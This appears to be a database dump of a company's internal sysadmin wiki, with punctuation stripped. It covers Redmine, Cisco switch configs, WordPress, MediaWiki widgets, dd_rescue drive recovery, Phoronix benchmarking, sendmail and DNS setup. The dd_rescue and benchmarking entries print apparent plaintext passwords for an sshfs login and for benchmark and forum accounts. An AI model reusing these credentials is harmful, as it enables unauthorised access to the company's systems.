renders it locally ssl issues note there is an issue with remine accepting unverified ssl certs which is described at here and here we can implement the fix to have it trust certificates so we can connect to all our svn server synchronization new commits show up only when you browse though we can run a cron to periodically update though i don\'t even think this is needed as when you browse actually causes the refresh findings the presentation is very nice though it is rendered fairly slowly the statistics button presents some nice graphs the need to store the password in redmine is not that significant given a local read only account could be created given the above i recommend we create local svn users for the repos we want to use and configure it on desired projects we can then let guys test drive it more websvn is faster but the integration this offers is nice also see plugins plugins plugins there is a list of official plugins here general info on installing a plugin is here installing a plugin bitnami ruby stack version opt rubystack-2 1-0 ruby bin ruby script plugin install --force rake db migrate_plugins rails_env production if migration required  uninstalling plugins  see this post but basically rake db migrate_plugins plugin name_of_plugin version 0 rails_env production  email issue submission script   auto due date notice plugin  from the developer alvia  1 0 root cd opt redmine && rake redmine send_reminders_all days 1 rails_env production on windows you can use sheduled tasks to do the same there are some things you can set up days 1 means that it sends reminders about issues that are already overdue and that will be overdue in one day tracker 5 means that it sends reminder only when tracker of the issue id is 5 and there is also project test or project 5 to send reminders only on this one project    user theme changer plugin  example of installing this type of plugin hg clone rake db migrate_plugins rails_env production restart redmine  google docs plugin   to do list prioritizor   mail notifications plugin  this plugin provides more granularity on the types on email notices received account management account management account management users can not be deleted through the gui once created but can be locked out however http www imminentweb com technologies install-redmine-centos this site shows a method using the console account management redmine doesn\'t have a way to delete spam accounts to do so we can use the script console export rails_env production script console u user find 13 #change the 13 by the id of the user you want to delete u destroy assuming you want to delete user ids 13 and 20 type script console production 13 20 each u user find u destroy troubleshooting troubleshooting troubleshooting  logging  opt redmine log production log  parent task due date  this is set by the first sub task once set the parent due date can not be changed this is reported as a defect and also this  email notifications  the main log at var production log also logs when notices are sent if an email address is invalid the email will not be sent to any users it will be logged as the following error occured while sending email notification 550 5 1 1 unknown or illegal user santhanavannas ornl gov when an action occurs the log records a complete record of it including the email transaction  console troubleshooting  this post has an example of using the ruby console to query and update settings in the database references references references  helpful sites  other install guides '),(338,'redmine installhistory tar gz',' '),(160,'r8101-1 009 00 tar bz2',' linux driver for realtek 810x wifi cards e g 8101e and i believe the 8169 also '),(161,'file carving',' data recovery and file carving tools and general information  foremost and scalpel  scalpel is based on foremost both are file carving tools here is an interesting paper on file carving methods and their effectiveness eindhoven university of technology department of mathematics and computer science masteru8e28099s thesis measuring and improving the quality of file carving methods by s j j kloet media kloet2007thesis pdf '),(162,'kloet2007thesis pdf',' '),(163,'linux-logo',' small tux logo '),(164,'intel-logo',' small intel logo '),(165,'intel-logo',' '),(166,'linux-logo',' '),(167,'mediawiki configuration',' extensions extensions extensions how to add customer functions in a wiki page in line free collection of mediawiki extension how to add a digg badge to a wiki page mime type upload identification mime type upload identification mime type upload identification issue with uploaded png files being incorrectly identified as text plain mime type i added these two declarations to localsettings php wgmimedetectorcommand file -bi ; wgsvgconverter imagemagick ; and added png as a allowed upload file type also i created a png type in vim etc httpd conf magic though i believe mime_magic is disabled in my php so this was not really needed '),(168,'wordpress configuration','  what the hell version of wordpress am i running anyway   cat wp-includes version php whitelisting ips in wp-admin create an htaccess in wp-admin with authuserfile dev null authgroupfile dev null authname u8e2809caccess controlu8e2809d authtype basic order deny allow deny from all # whitelist home ip address allow from 64 233 169 99 # whitelist work ip address allow from 69 147 114 210 allow from 199 239 136 200 # ip while in kentucky; delete when back allow from 128 163 2 27 this is from  css edits and floating images   having trouble getting text to flow around your images http wordpress org support topic 189480  captcha  above has a nice transparent captcha wordpress plugin '),(169,'zfs last pdf',' zfs the last word in file systems '),(170,'xvmserver sun virtualization',' information so where the hell did xvm go well it basically was integrated into the opensolaris code base and is no longer available as an appliance the gui is now part of ops center but you can still use xvm to run xen machines in opensolaris read this for what happened and here are guides on installing xvm in opensolaris  other general refs  dead - was the early access site some good videos and overviews great wiki but for ops not xvm itself documentation documentation documentation installing xvm - installing the hypervisor and setting up domains download download download this is intended to be installed on top of opensolaris so get that cd first and install it the proceed with installing xvm an appliance version will be available down the road get the source from extract the tarball run src installer install sh documentation documentation documentation i have not found a how to and specific install directions for xvm however this document goes over some of the basics on creating vms and the various management tools etc '),(171,'building multilayer switched networks',' spanning tree  set up trunking   interface range fastethernet 0 1 - 4 switchport trunk encap dot1q switchport mode trunk  configure fast etherchannel   dlswitch config #interface range fastethernet 0 1 - 2 dlswitch config-if-range #channel-group 1 mode desirable creating a port-channel interface port-channel 1 sh etherchannel summary brief sh pagp neighbor  set up vlans   interface range fastethernet 0 1 0 3 0 1 - 3 swithport mode access switchport access vlan 10  verifying trunking   sh interfaces trunk sh vtp status sh vtp counter note 2050 2050\'s use 802 1q by default for trunking - you don\'t need to set the protocol  verifying spanning tree   sh spanning-tree wireless qos and cos wireless qos and cos wireless qos and cos setting class of service parameters on selected interfaces for qos classification swithc config vtp domain corp swithc config vtp mode server switch config interface range fastethernet 0 1 -6 swith config interface-range switchport access vlan 10 swith config interface-range mls qos trust cos mls qos cos 0 set to best effort 3 for video swith config interface-range mls qos cos override enforce a cos level swith config show mls qos interface you can have mls qos cos overide and mls qos trust cos  committed access rate - car  interface fastethernet0 0 ip address 192 168 1 1 255 255 255 0 rate-limit input access-group 100 32000 3200 3200 conform-action set-dscp-transmit 8 exceed-action set-dscp-transmit 0 singapore#sh interfaces rate-limit fastethernet0 0 input matches access-group 100 params 32000 bps 3200 limit 3200 extended limit conformed 0 packets 0 bytes; action set-dscp-transmit 8 exceeded 0 packets 0 bytes; action set-dscp-transmit 0 last packet 3248012ms ago current burst 0 bytes last cleared 00 02 34 ago conformed 0 bps exceeded 0 bps police the action at the wan link to allow traffic with dscp 8 to transmit and drop dscp 0 traffic interface serial0 0 ip address 192 168 2 1 255 255 255 0 rate-limit output dscp 0 16000 1600 2000 conform-action transmit exceed-action drop clock rate 128000 voip voip voip wred weighted random early detection enable on the interface with interface# random-detect #show inter serial 0 0 look at queuing strategy to verify setting #show queuing random-detect #random-detect exponential-weighting-constant changes the integer value shown as exponential-weight-constant in the show queuing random-detect cbwfq class based weighted fair queuing define protocols and weights to use #class-map voice-class #match ip dscp 40 #show class-map #policy-map wan-policy #class class-default #fair-queue #class voice-class #bandwidth percent 40 #sh policy map now - apply the policy to the interface interface#no fair-queue interface#service-policy output wan-policy #sh policy map #sh policy-map interface serial 0 0 ouput layer 2 security layer 2 security layer 2 security dnsiff - program for mac spoofing etc final configs final configs final configs  core   spanning-tree mode pvst spanning-tree extend system-id spanning-tree vlan 100 priority 4096 interface port-channel1 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk interface port-channel2 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk interface fastethernet0 5 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable interface fastethernet0 6 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable interface fastethernet0 7 switchport trunk native vlan 100 switchport mode dynamic desirable interface fastethernet0 8 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable interface fastethernet0 9 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable interface fastethernet0 13 no switchport ip address 192 168 1 2 255 255 255 0 interface fastethernet0 14 switchport access vlan 10 switchport mode access interface vlan1 no ip address shutdown interface vlan10 ip address 10 0 10 1 255 255 255 0 standby preempt standby 1 ip 10 0 10 253 standby 10 track fastethernet0 13 50 interface vlan20 ip address 10 0 20 1 255 255 255 0 standby preempt standby 2 ip 10 0 20 253 standby 20 track fastethernet0 13 50 interface vlan100 ip address 10 0 100 100 255 255 255 0 standby preempt standby 100 ip 10 0 100 253 ip classless ip route 0 0 0 0 0 0 0 0 192 168 1 1 ip http server ip http secure-server ip access-list extended vlan10allowed permit tcp 10 0 10 16 0 0 0 15 host 10 0 10 55 eq www ip access-list extended vlan10blocked permit tcp any host 10 0 10 55 eq www permit tcp 10 0 10 0 0 0 0 240 host 10 0 10 55 eq www ip access-list extended vlan10default permit ip any any  backup  interface fastethernet0 0 10 encapsulation dot1q 10 ip address 10 0 10 254 255 255 255 0 standby preempt standby 1 ip 10 0 10 253 interface fastethernet0 0 20 encapsulation dot1q 20 ip address 10 0 20 254 255 255 255 0 standby 2 ip 10 0 20 253 interface fastethernet0 0 100 encapsulation dot1q 100 ip address 10 0 100 254 255 255 255 0 standby 100 ip 10 0 100 253 standby 100 preempt interface serial0 0 ip address 192 168 0 2 255 255 255 0 no fair-queue ip route 0 0 0 0 0 0 0 0 192 168 0 1  isp  interface loopback0 ip address 1 1 1 1 255 255 255 0 interface fastethernet0 0 ip address 192 168 1 1 255 255 255 0 duplex auto speed auto interface serial0 0 ip address 192 168 0 1 255 255 255 0 clock rate 56000 no fair-queue interface fastethernet0 1 no ip address shutdown duplex auto speed auto interface serial0 1 no ip address shutdown ip http server no ip http secure-server ip classless ip route 0 0 0 0 0 0 0 0 192 168 1 2 ip route 0 0 0 0 0 0 0 0 192 168 0 2 100  access1  interface vlan100 ip address 10 0 100 2 255 255 255 0 no ip route-cache spanning-tree mode pvst no spanning-tree optimize bpdu transmission spanning-tree extend system-id interface port-channel1 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface port-channel3 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface fastethernet0 1 switchport access vlan 10 spanning-tree portfast interface fastethernet0 2 spanning-tree portfast interface fastethernet0 3 switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable spanning-tree portfast interface fastethernet0 4 switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable spanning-tree portfast interface fastethernet0 5 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 6 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 7 switchport trunk native vlan 100 switchport mode trunk spanning-tree portfast  access2  interface vlan100 ip address 10 0 100 3 255 255 255 0 no ip route-cache spanning-tree mode pvst no spanning-tree optimize bpdu transmission spanning-tree extend system-id interface port-channel2 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface port-channel3 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface fastethernet0 1 spanning-tree portfast interface fastethernet0 2 switchport access vlan 20 spanning-tree portfast interface fastethernet0 3 spanning-tree portfast interface fastethernet0 4 switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable spanning-tree portfast interface fastethernet0 5 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 6 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 7 switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable spanning-tree portfast '),(172,'dreamweaver tips',' css decedent classes css decedent classes css decedent classes you can create a css rule to apply to a specific selector only in specific instances for example using the selector tr altrow td creates a rule where any td elements inside of a tr altrow element will be effected by this rule '),(173,'tomcat configuration',' usr local apache-tomcat-5 5 27 conf tomcat-users xml #edited to add user for web gui access on usr local apache-tomcat-5 5 27 conf web xml #general tomcat config var www html #apache doc root on this server #web gui - username admin password whatever usr local tomcat webapps #where the tomcat apps are you can put html and jsp items directly in the tomcat root directory and they will be displayed in a browser each app has a deployment descriptor file located within its own app directory structure such as root vps tomcat # less webapps store web-inf web xml references '),(174,'search engine optimization',' intro intro intro i have decided to look into techniques to increase traffic to my site through various seo methods recently i started using firestats and discovered i have a fair amount of traffic on my blog and wiki and so decided to integrate some tools like digg buttons and badges and social bookmarking tools etc this is a bit tricky especially for mediawiki so here are my notes on the matter as i play with more seo tools i will add them here if you would like to see an example of the addthis button and digg badges on my wordpress blog you can do so here thanks for dropping by and good luck getting more traffic and using these tools please note this wiki is for my own notes and is closed for editing addthis widget - wordpress addthis widget - wordpress addthis widget - wordpress this widget will add a nice drop down widget at the end of each post the button will look like this on your blog but the drop down menu does not actually work on this version - see the one at the bottom of this page for a drop down example #widget addthis addthis_pub \'lewstherin\' getting the addthis widget working in wordpress is substantially easier than in mediawiki it is available as a simple plugin for wordpress requires very little configuration here is the general outline of steps download the addthis wordpress plugin from follow instruction there to upload to your wordpress plugin directory add you addthis user name to var addthis_username in the addthis_social_widget_drop php file digg badge - wordpress digg badge - wordpress digg badge - wordpress diggbadge left now that you have addthis and people can digg your posts wouldn\'t it be nice to have a digg badge displayed on any posts that get dugg there is another wordpress plugin for that too it will only show badges for articles that get dugg so you don\'t have badges with 0 diggs on them who wants that it works quite well download the plugin from here unzip and upload to your wordpress plugin directory modify both the index php and single php files in whatever theme s you are using note that you must do this or the digg badge will not show up in your posts if someone diggs it just add   php digg_this_button ;   to the above two files placed within the loop - for example my themes index php and single php contain php if have_posts php while have_posts the_post ; php digg_this_button ; now when a visitor diggs the article using the addthis widget at the bottom of your post etc a digg badge will now appear at the top of the post dig a post of your own and verify the badge shows up correctly now write good content and see if you get dugg note a lot of people apparently have trouble installing this it appears additional installation instructions for this can be found here also in order for the link to work someone you or otherwise must click on the link to your post at digg com in order to send a referring link also be patient - it may take a few hours for the badge to show up though why that is the case is a mystery to me - the referring link should trigger the badge to show up right away - or so i would think in practice be patient digg badge - mediawiki digg badge - mediawiki digg badge - mediawiki there is a great digg extension for mediawiki available here installation is very similar to the steps above for the wordpress one there are only a few steps to integrate this on your wiki the instructions are very clear and you can get the source code for the extension at the link above simply download it to your extensions directory you can also get the code here edit digg php for the links you want displayed in addition to the digg badge add this include line to your localsettings php include \'extensions digg php\' ; you can place the badge anywhere in the body of a page and float left or right a sample is at the top of this page or left setting up widgets in mediawiki setting up widgets in mediawiki setting up widgets in mediawiki first you have to enable widgets for mediawiki then install the addthis or other widget enable mediawiki widgets following directions at follow all directions  closely  you will need to ensure the extensions widgets compiled_templates directory is writable by the web server and you will likely need to add the following line to you localsettings php wggrouppermissions \'sysop\' \'editwidgets true; if a widget does not show up you may need to purge the page add   action purge  to the url to refresh it from the mediawiki cache addthis widget - mediawiki addthis widget - mediawiki addthis widget - mediawiki update it looks like a much better mediawiki widget is social_bookmarking rather than this addthis widget they both use the addthis button - however i could not get the addthis widget to work correctly the mouseover did not work and there was no pop up window either - essentially it did nothing the addthis widget requires setting up widgets in mediwiki however i believe the social bookmarking extension does not and it is very simple to use the next section talks specifically about the mediawiki social_bookmarking extension - both are options adding the addthis widget - create a page named widget addthis then copy  the entire source code  from this page to it now use the block of source code shown on to add the addthis button to your wikipage here are two example of calling the addthis widget short and sweet #widget addthis addthis_pub \'your_id\' #widget addthis addthis_pub \'lewstherin\' full options #widget addthis page_name pagename page_url fullurl pagename account_id your_id logo_url logo_background ffffff logo_color ffffff brand my wiki options favorites email digg delicious more offset_top 0 offset_left 0 #widget addthis page_name pagename page_url fullurl pagename account_id lewstherin logo_url logo_background ffffff logo_color ffffff brand my wiki options favorites email digg delicious more offset_top 0 offset_left 0 social bookmarking extension - mediawiki social bookmarking extension - mediawiki social bookmarking extension - mediawiki installing this is very straight forward this extension will place two objects at the end of every page - see them at the bottom of this page one is an addthis button with a working mouseover drop down which is nice the other is a socialmarker com button if you only want one you can edit the code to eliminate the other easily it would be better in my opinion if the buttons were at the top of every page rather than the bottom but i\'ve yet to figure out how to make that happen - if i do so i will update the fix installation instructions can be found here and consists of just three steps download the extension code cut and paste it put it into bookmark php in your extensions directory include it in localsettings php with the line require_once extensions bookmark php ; note that if you want to use your addthis account to track the bookmarks with just change this line in bookmark php to include your addthis com account name such as out- mbodytext \'addthis_pub \'yourname \';\'; use this format exactly as is including all \' and characters etc widget troubleshooting widget troubleshooting widget troubleshooting are you running an ancient version of mediawiki that does not support widgets check your special version page and special extensiondistributor parserfunctions and see this will also show extension handler information etc you may need to add the parserfunctions extension from google group for widgets standalone addthis button standalone addthis button standalone addthis button these notes are for my own addthis button but you can see the code for how it works to get code for a standalone addthis button you can use on any web page you like and create an account to track bookmarks created with it just goto to use the addthis button on webpages use either of the following button only -- addthis button begin -- var addthis_pub \'lewstherin\'; -- addthis button end -- drop down button -- addthis button begin -- addthis_pub \'lewstherin\'; -- addthis button end -- the below snipit comes from the mediawiki page on widgets for addthis -- addthis button begin -- -- addthis button end -- -- addthis rollover begin -- addthis_pub \'lewstherin\'; addthis_logo  ; addthis_logo_color \'ffffff\'; addthis_logo_background \'ffffff\'; addthis_brand \'my wiki\'; addthis_options \'favorites email digg delicious more\'; addthis_offset_top \'0\'; addthis_offset_left \'0\'; -- addthis rollover end -- '),(175,'widget addthis',' #widget addthis page_name pagename page_url fullurl pagename account_id lewstherin logo_url logo_background ffffff logo_color ffffff brand my wiki options favorites email digg delicious more offset_top 0 offset_left 0 '),(176,'addthis',' this widget allows you to add the addthis social-bookmarking button to your wiki page it was created by yaron koren using this widget using this widget using this widget for information on how to use this widget see widget description page on mediawikiwidgets org copy to your site copy to your site copy to your site to use this widget on your site just install mediawiki widgets extension and copy fullurl fullpagename action edit full source code of this page to your wiki as   fullpagename   article -- addthis button begin -- \' \' -- page_name escape \'quotes -- \' onmouseout addthis_close -- addthis button end -- -- addthis rollover begin -- addthis_pub \' -- account_id escape \'quotes -- \'; addthis_logo \' -- logo_url escape \'quotes -- \'; addthis_logo_color \' -- logo_color escape \'quotes -- \'; addthis_logo_background \' -- logo_background escape \'quotes -- \'; addthis_brand \' -- brand escape \'quotes -- \'; addthis_options \' -- options escape \'quotes -- \'; addthis_offset_top \' -- offset_top escape \'quotes -- \'; addthis_offset_left \' -- offset_left escape \'quotes -- \'; -- addthis rollover end -- '),(177,'diggbadge',' '),(178,'common js',' '),(179,'dd rescue','  dj wrote this  but then pete changed it __toc__ saving drives saving drives saving drives it seems like the last few days there have been a lot of customers with failed hard drives one customer in particular has no backups and the drive is having pretty major seek errors and will not even show in an fdisk dd_rescue software is often able to recover most data to a clean drive we regularly use it and have great success with it we used to charge 50 to image a drive but as it it\'s a hardware failure and as it actually saves us time to clone it compared to all the work involved in reinstalling migrating importing and troubleshooting restore we now offer it free of charge in the case of a dead drive migrating to a larger drive using other tools is still a 50 charge note don\'t be lead astray there are three similar commands dd ddrescue and dd_rescue - just use dd_rescue it is the best you can use dd_rescue by booting ubuntu enable the universe and multiverse repositories in etc apt sources list apt-get update apt-get install ddrescue you can run ddrescue like so dd_rescue dev sdb dev sda where sdb is the bad drive you can also specify the -r option to read in reverse so you can see how much is left if using dd you can use conv noerror to skip errors if the occur and also specify block size with bs dd if dev sda of dev sdb -r bs 4096 conv notrunc noerror specifying the block size can make it run faster default is 512 for more options please note when cloning one drive to another you must be alert and ensure the destination drive is  truly  equal to or larger than the source drive that sounds obvious i know but seriously - not all drives of the same capacity have the same geometry and exact same size for example the dozens of rma replacement western digital drives we have recently gotten in are not the same size as the original 160gb drives they are slightly smaller if you use a smaller drive dd will complete but then you will start seeing drive errors such as attempt to access beyond end of device or lost page write due to io error on on sda or other io or fsck inconsistencies how to match geometry how to match geometry how to match geometry well if it it\'s a square hole don\'t use a round peg look at the drive geometry using hdparm like this archimedes anduril hdparm -i dev sda dev sda ata device with non-removable media model number wdc wd1200bb-00daa1 serial number wd-wmacm1072106 firmware revision 02 13b02 standards supported 6 5 4 likely used 6 configuration logical max current cylinders 16383 16383 ---- heads 16 16 these are the chs values sectors track 63 63 ---- -- chs current addressable sectors 16514064 ---- lba user addressable sectors 234441648 you have to ensure these match too lba48 user addressable sectors 234441648 --- device size with m 1024 1024 114473 mbytes device size with m 1000 1000 120034 mbytes 120 gb notice the chs lba and 48 bit lba values above the destination drive must have lba values exactly equal to or greater than the source two 160gb drives may have identical chs values but different lba values and will therefor be different sizes but hdparm will tell you what you need to know and knowing is half the battle other options other options other options one limitation of dd_rescue is you can\'t dynamically expand the partitions if going to a larger drive if you are taking the time to clone a drive it might be nice to go from a 160gb to a 500gb etc dd just does a block wise copy though so the partition tables etc are identical if the drive is mostly healthy you can use acronis drive imaging gparted or clonezilla which have options for dynamically expanding the partitions acronis actually works quite well for this all things dd_rescue and ddrescue all things dd_rescue and ddrescue all things dd_rescue and ddrescue dd_rescue addition to printing out status messages will automatically adjust the block size based on errors encountered dd will just use whatever static bs argument that that\'s funny you provide also dd_rescue defaults to force reading through bad sectors dd does not thus dd_rescue is a bit better at cloning failing drives with dd a better syntax is #dd if dev sda of dev sdb -r bs 4096 conv notrunc noerror however the above is basically the default used in dd_rescue note that dd_resceue is slightly different and does not use if and of but rather referenced block devices directly #dd_rescue dev sda dev sdb there is no confirmation - think before you pull the trigger note there are two different programs with similar names ddrescue and dd_rescue in cases where one fails the other may succeed info pages are wonderful things - they have examples and all kinds of good stuff both versions are available in rip note you can make multiple recover passes to an image file and then dd the image file to a drive etc fancy also this is a great time to mention again that when cloning drive it is essential to examine not only the chs drive values but also the lba values two 120gb or 500gb drives are not necessarily the same size even if from the same manufacturer - they change in different production lines the way to determine this for sure is to follow the steps from oh and don t try to fix a failing disk with fsck the best description i ever read of fsck was it a barbarian - it destroys what it does not understand if you see bad sectors in smartctl -a never run an fsck clone first and repair the fs on the clone moral always use dd_rescue and always verify geometry when cloning if you need read the man and info pages on ddrescue and dd_rescue for more options - they are capable of much more than block device to device operations ddrescue log files ddrescue log files ddrescue log files always use a log file when running ddrescue reason if the operation is interrupted you have to start all over which often may greatly extend the time to recover a drive a drive using log files with ddrescue not dd_rescue allows you to resume where you left off yep - nifty to do this in rip rescuecd simply use sshfs to mount a directory from another server and direct the log to be saved there mounting remote folder with sshfs archimedes anduril sshfs -p 12273 sagotech nocbox sagonet com ddrescuelogs mnt sagotech nocbox sagonet com com\'s password s4g0n0ct3ch archimedes anduril ls mnt 10 20 30 40-test now run ddrescue directing the log to mnt ddrescue dev sda dev sdb mnt 66 118 123 47-31mar09 txt --- filename of log to specify number of retries use -r -1 infinite and to resume where you left off use -c for example ddrescue -r 3 -c dev sda dev sdb mnt 66 118 123 47-31mar09 txt this will pick up where the last attempted was interrupted note you can run multiple passes and use the same log file - it will only attempt to get the bad sections on subsequent passes '),(180,'linux benchmarking tools',' why benchmark why benchmark why benchmark how fast is my server what are the performance characteristic of sago sago\'s quad core amd servers how about the dell 1950 with sas drives in a raid 5 what is the best server to use for a database or forums server can a cusotmer compare their existing server with another provider directly against a sago server running the exact same tests what server has the fastest drive io how about memory while it is easy to guess or make assumptions unless you actually test and benchmark servers you really have no idea and you can easily over or under sell hardware or not get customers the hardware they need if you don\'t know its true performance there are many ways to benchmark servers and many tools available to do so after researching i found the phoronix test suite which does an admirable job uses a respectable methodology and is well supported this guide is for internal use there is an external customer guide on the knowledge base as well and further general information on benchmarking can be found there phoronix phoronix phoronix description from the official web site the phoronix test suite is the most comprehensive testing and benchmarking platform available for the linux operating system this software is designed to effectively carry out both qualitative and quantitative benchmarks in a clean reproducible and easy-to-use manner this software is based upon the extensive linux benchmarking work and internal tools developed by phoronix com since 2004 along with input from leading tier-one computer hardware vendors this software is open-source and licensed under the gnu gplv3 the phoronix test suite consists of a lightweight processing core pts-core with each benchmark consisting of an xml-based profile with related resource scripts the process from the benchmark installation to the actual benchmarking to the parsing of important hardware and software components is heavily automated and completely repeatable asking users only for confirmation of actions installation installation installation very easy to install note that the 1 6 version does not support the bonnie test there will be a version 1 8 very soon and a major 2 0 release in 2009 with many new features 1 download the tar gz for the version you want from 2 exract tar zxvf phoronix-test-suite-1 4 2 tar gz 3 install a needed dependancy yum install php-cli 4 install the test suite itself install sh 5 run it #phoronix-test-suite list-tests getting started getting started getting started once installed you can browse available tests get information on them execute them and upload results to phoronix global web site with only a few commands a simple quick start guide is at just enter the command by itself and it will tell you your main options there is also a man page #man phoronix-test-suite list-tests here is a simple way to start archimedes anduril phoronix-test-suite list-tests archimedes anduril phoronix-test-suite list-suites archimedes anduril phoronix-test-suite info universe-cli archimedes anduril phoronix-test-suite benchmark universe-cli multiple tests are space seperated archimedes anduril phoronix-test-suite benchmark universe-cli bonnie byte hdparm-read linux-kernel-compile results are then stored for example to home archimedes phoronix-test-suite test-results comptest composite xml it will then ask if you wish to upload them to their web site currently once uploaded they can not be deleted or changed you may wish to save them then edit the names etc with vi and then upload them you can upload any test at any time later web results web results web results as above test results can be uploaded to our sagolabs account at the end of the test or any time later to manually upload later first ensure that the install is configured for our account phoronix-test-suite login user-name sagolabs password s4g0ph0r0n1x account 1t86-3y54-mo account information written to user-config xml you may now upload test results by upload-results once uploaded you can view all our results on their web site under our account and our rss feed is at advanced tools advanced tools advanced tools by reading the man page and the web site you will discover there are many advanced tools and ways to use this testing suite you can run benchmarks and compare them to another by referencing the online profile to compare to you can combine test result together and publish them on line the new version will introduce many more features as well phoronix forum phoronix forum phoronix forum our forum login info is sagolabs s4g0 ph0r0n1x note this pw has a dot whereas the one used to upload test results does not '),(181,'sendmail troubleshooting',' sendmail basics sendmail basics sendmail basics  documentation  how sendmail works troubleshooting  queued messages  view the queue with #qmail -bp or #mailq ask sendmail to redeliver with #qmail -q the queued messages can be found in root tardis timelord # ls var spool mqueue dfmbpeikvx024475 dfmbpeywzs027429 dfmbpgjfhu013423 qfmbpetix7026377 qfmbpfdlzo006408 these are divided between the message payload and the headers they are separated  mail log  you can also grep for information in the mail log #cat var log maillog grep queued #cat var log maillog grep joe  user name database  look in etc mail for virtusertable or userdb or similar troubleshooting tips troubleshooting tips troubleshooting tips try to send an mail locally to see if it goes through #echo test mail -s test email you yourdomain com you might want to look at etc aliases  testing delivery  root tardis mail # sendmail -bv thedoctor timelordz com thedoctor timelordz com deliverable mailer local user timelord you can also do an interactive mail session and see the entire sendmail session and if the message was accepted or not root tardis mail # mail -v cheri thebarrc com subject cli test this is a test from the cli cc this is followed by verbose output of the connection to the mail server and the result of the attempt to deliver the message to sendmail  version numbers  see if the version of the config file used matches the compiled version of sendmail root tardis timelord # sendmail -bs 220 tardis timelordz com esmtp sendmail 8 13 1 8 13 1 submit; thu 25 dec 2008 12 01 52 -0500 the config file is in etc mail sendmail cf  testing valid addresses  you can use telnet and smtp commands to send mail to a user or test whether a user exists on a remote mail server if allowed thee the article smtp address verification dns and mail dns and mail dns and mail dns is tricksey and if allowed it will foil your plans example sendmail would accept messages but never deliver them they would stay forever in status queued reason the zone file was missing the a record for the domain and for whatever reason the name server entries were also not correct sure enough it could resolve www domain com but no just domain com and thus no delivery there are all manner of dns things that can prevent delivery also an improper hostname and can to same '),(182,'inquisitor hardware testing',' '),(183,'stream editor sed',' append something to the end of an existing line good general sed examples general sed tutorial '),(184,'suse dns server configuration',' intro setting up a dns server in suse 11 is quite easy you can set it up in yast using either the full yast xwindows gui or the curses based yast in bash having such an easy dns set up tool in the command line to configure a dns server is  particularly  nice the steps are identical regardless of which environment you are in yast-dns-cli-config center thumb dns config in the cli made easy i set this up at home to provide dns services inside my home network this way i can have names assigned to ips and not have to remember systems by ip i found this article to be a great how to on setting this up however i also found some points where more information could be helpful dns server configuration dns server configuration dns server configuration in yast i configured the following dns sections in with basic configuration ensure you disable the firewall or open port 53 set to run at boot up as desired forwarders i added by default gateway 192 168 2 1 dns zones created a master dns zone named house com dns records 1 edit the dns zone and add and an ns record ns1 house com 2 create an a record for the ns record you just made as well as a records for any hosts on the network enlarge the thumbnail at the top of this article for an example note follow the pictures in the referenced guide and the steps above exactly notice you first create an ns record ns1 house com and later create an a record too for ns1 - it is easy to miss this point you will find the actual zone files in var lib named master and you may either edit them directly or use yast testing testing testing verify that named is running and listening on port 53 callandor # service named status checking for nameserver bind number of zones 15 debug level 0 xfers running 0 xfers deferred 0 soa queries in progress 0 query logging is off recursive clients 0 0 1000 tcp clients 0 100 server is up and running running callandor # callandor # telnet 192 168 2 3 53 trying 192 168 2 3 connected to 192 168 2 3 escape character is \' \' telnet quit connection closed note you might have to restart named if you are having problems sometimes it likes to say it is running and appears fine but in fact is dead you should now be able to host or ping one of the a records you created above for example here i use the host command to ask the dns server directly what the ip is for the host named mac callandor # host mac house com 192 168 2 3 using domain server name 192 168 2 3 address 192 168 2 3#53 aliases mac house com has address 192 168 2 11 now as long as i have an entry in my etc resolv conf for the name server i just created i don\'t have to actually specify the ip in the host command you should just be able to host mac house com and get an answer if you do not then check your etc resolv conf callandor # host mac house com mac house com has address 192 168 2 11 additionally if you want to be really lazy add a  search house com  entry in your etc resolv conf so you don\'t even need to type in the full domain name callandor # host mac mac house com has address 192 168 2 11 here is my etc resolv conf search house com nameserver 192 168 2 3 nameserver 4 2 2 2 now i can ping ssh ftp etc any host on my home network simply by the a record name set up for it callandor # ping linux ping linux house com 192 168 2 3 56 84 bytes of data 64 bytes from 192 168 2 3 icmp_seq 1 ttl 64 time 0 050 ms 64 bytes from 192 168 2 3 icmp_seq 2 ttl 64 time 0 065 ms c --- linux house com ping statistics --- 2 packets transmitted 2 received 0 packet loss time 1010ms rtt min avg max mdev 0 050 0 057 0 065 0 010 ms goal accomplished the epitome of laziness fixed ip address per host fixed ip address per host fixed ip address per host see pxe boot server for more information on setting up dhcp and tftp servers in suse in order for the dns server to work the ip addresses have to remain the same for each host on your network you can either just configure the ip addresses statically or set up your dhcp server to always give the same ip address to a client based on its mac address i chose the latter mainly as i wanted to experiment with this at home - it might be extremely useful in some work environments where you want a dhcp server running on the network but want certain servers to always have the same ip etc this is a simple matter of adding a host clause to your etc dhcp conf such as host appleg4 hardware ethernet 00 03 93 56 47 28; fixed-address 192 168 2 11; '),(185,'yast-dns-cli-config',' '),(186,'yast-dns-config',' '),(187,'planet rss aggregator',' daily operation the planet script runs from cron daily a symlink to it var lib planet generate-planets its just a script that runs this # bin bash cd var lib planet sagonet planet py config ini you have to be in the directory where the config file lies to run planet py templates templates templates the template is in var lib planet sagonet index html tmpl is the file you need to edit if you need to adjust the template the python py will put all the static html crap into var www labs sagonet com config ini config ini config ini this file controls the list of rss feeds and the location of the face images its pretty self explanatory external links external links external links planet software templating documenation 